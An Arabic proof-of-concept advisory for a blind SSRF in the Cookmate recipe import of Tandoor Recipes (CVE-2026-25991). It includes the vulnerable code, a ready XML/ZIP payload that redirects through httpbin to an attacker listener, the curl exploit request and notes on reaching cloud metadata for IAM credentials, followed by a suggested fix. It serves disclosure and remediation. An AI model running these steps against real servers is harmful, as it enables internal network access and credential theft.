
إثبات مفهوم لاستغلال CVE-2026-25991، وهو SSRF أعمى في ميزة استيراد Cookmate في تطبيق Tandoor Recipes، مما يسمح للمستخدمين المصادق عليهم بالوصول إلى الموارد الداخلية.
إثبات المفهوم لثغرة SSRF عبر استيراد الوصفات
الإفصاح: تم الإبلاغ عنها في الأصل بواسطتي عبر GHSA-j6xg-85mh-qqf7
⚠️ للاستخدام المصرح به في الاختراق الأخلاقي/البحث فقط.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-25991 |
| الخطورة | 🔴 عالية |
| درجة CVSS | 7.7 |
| متجه CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: تزوير الطلبات من جانب الخادم (SSRF) |
| المنتج المتأثر | تاندور ريسيبس ≤ 2.5.0 |
| الإصدار المُصحح | 2.5.1 |
| النشرة الأمنية | GHSA-j6xg-85mh-qqf7 |
اكتشفت ثغرة تزوير الطلبات من جانب الخادم الأعمى (Blind SSRF) في ميزة استيراد الوصفات Cookmate في تاندور ريسيبس. يفشل التطبيق في التحقق من عنوان URL الوجهة بعد اتباع عمليات إعادة التوجيه HTTP، مما يسمح لأي مستخدم مُصادق (بما في ذلك المستخدمين العاديين دون صلاحيات إدارية) بإجبار الخادم على الاتصال بموارد داخلية أو خارجية عشوائية.
يمكن استغلال هذه الثغرة لفحص منافذ الشبكة الداخلية، أو الوصول إلى بيانات تعريف مثيلات السحابة (مثل خدمة بيانات تعريف AWS/GCP)، أو كشف عنوان IP الحقيقي للخادم.
تقع الثغرة في cookbook/integration/cookmate.py، داخل فئة تكامل Cookmate.
imageurl.validate_import_url (في cookbook/helper/HelperFunctions.py)، والتي تمنع بشكل صحيح نطاقات عناوين IP الخاصة (مثل 127.0.0.1، 10.0.0.0/8).requests.get(url) لتنزيل الصورة. افتراضيًا، تتبع مكتبة requests عمليات إعادة التوجيه (allow_redirects=True).
الدالة validate_import_url تتحقق فقط من عنوان URL الأولي ولكنها تفشل في التحقق من الوجهة النهائية بعد حدوث إعادة التوجيه.مقتطف الكود الضعيف (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# حرج: requests.get يتبع عمليات إعادة التوجيه افتراضيًا، متجاوزًا الفحص الأولي.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
يمكن للمهاجم استخدام خدمة خارجية (مثل httpbin.org) لإعادة توجيه الطلب إلى عنوان داخلي مقيد (مثل http://127.0.0.1:80/ أو http://169.254.169.254/).
الأهم من ذلك، أن AppImportView (cookbook/views/api.py) يسمح صراحةً بصلاحيات CustomIsUser، مما يعني أن أي مستخدم مسجل يمكنه تشغيل هذه الثغرة. لا تتطلب أي صلاحيات إدارية خاصة.
المتطلبات الأساسية:
nc).خطوات إعادة الإنتاج:
إعداد مستمع (جهاز المهاجم):
افتح طرفية وابدأ nc للاستماع للاتصالات الواردة. هذا يحاكي خدمة داخلية أو خادمًا يتحكم فيه المهاجم.
nc -lvnp 9999
إنشاء حمولة XML خبيثة:
أنشئ ملفًا باسم payload.xml. استبدل <YOUR_IP> بعنوان IP العام الخاص بك (أو عنوان IP قابل للوصول).
تستخدم هذه الحمولة httpbin.org لتجاوز فحص عنوان IP الخاص الأولي وإعادة التوجيه إلى المستمع الخاص بك.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- إعادة التوجيه إلى خدمة داخلية أو مستمع المهاجم -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

إنشاء أرشيف ZIP: يتطلب تاندور أن يكون ملف XML داخل ملف ZIP.
zip payload.zip payload.xml
تنفيذ الاستغلال (عبر API):
سجّل الدخول كمستخدم عادي (وليس مسؤولًا) للحصول على ملف تعريف الجلسة ورمز CSRF.
ثم أرسل طلب POST إلى /api/import/:
(استبدل <TARGET_URL>، <SESSION_ID>، <CSRF_TOKEN> بالقيم الفعلية)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). سترى طلب GET HTTP واردًا من خادم تاندور.
هذا يؤكد أن الخادم، بالنيابة عن مستخدم عادي، قد اتصل بموارد خارجية/داخلية عشوائية.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) لسرقة بيانات اعتماد IAM، مما يؤدي إلى اختراق كامل للبنية التحتية.قم بتعطيل تتبع إعادة التوجيه التلقائي في استدعاء requests.get أو نفذ تحققًا صارمًا من عناوين URL الخاصة بإعادة التوجيه.
الفرق (الإصلاح المقترح):
# cookbook/integration/cookmate.py
# الخيار 1: تعطيل عمليات إعادة التوجيه (موصى به)
response = requests.get(url, allow_redirects=False)
# الخيار 2: التحقق من عمليات إعادة التوجيه
# (يتطلب منطقًا معقدًا للتحقق من كل خطوة إعادة توجيه مقابل نطاقات عناوين IP الخاصة)